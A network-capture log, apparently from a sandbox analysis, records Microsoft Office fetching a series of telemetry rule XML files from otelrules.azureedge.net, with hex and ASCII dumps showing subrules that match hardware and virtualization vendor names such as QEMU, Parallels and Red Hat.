2024-11-29 22:11:27 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221127Z-174f7845968qj8jrhC1EWRh41s00000010eg00000000d4mv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:29 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:29 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221129Z-174f78459685m244hC1EWRgp2c000000109000000000h2m9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:29 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:29 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: e12d29d9-601e-0001-6315-41faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221129Z-174f7845968vqt9xhC1EWRgten00000010n00000000066ee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:29 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:29 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: e0c123a1-301e-000c-48a2-42323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221129Z-174f7845968xlwnmhC1EWR0sv800000010a000000000ee5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-29 22:11:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:29 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:29 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 454be365-001e-0065-3d29-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221129Z-174f78459684bddphC1EWRbht4000000108000000000crg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:29 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:29 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: b4ece731-701e-0097-3213-42b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221129Z-174f7845968qj8jrhC1EWRh41s00000010hg000000003r6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:31 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:31 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: cf0a4750-201e-005d-5b07-42afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221131Z-174f7845968cpnpfhC1EWR3afc0000001060000000007n80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:31 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:31 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221131Z-174f7845968ljs8phC1EWRe6en00000010g00000000004y7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:31 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:31 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 3111ff0c-301e-001f-4971-40aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221131Z-174f7845968vqt9xhC1EWRgten00000010fg00000000knub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:31 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:31 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 9a67ffab-601e-00ab-7222-4166f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221132Z-174f7845968n2hr8hC1EWR9cag0000001060000000008y4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:32 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221132Z-174f7845968cpnpfhC1EWR3afc000000105000000000a3nz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:33 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
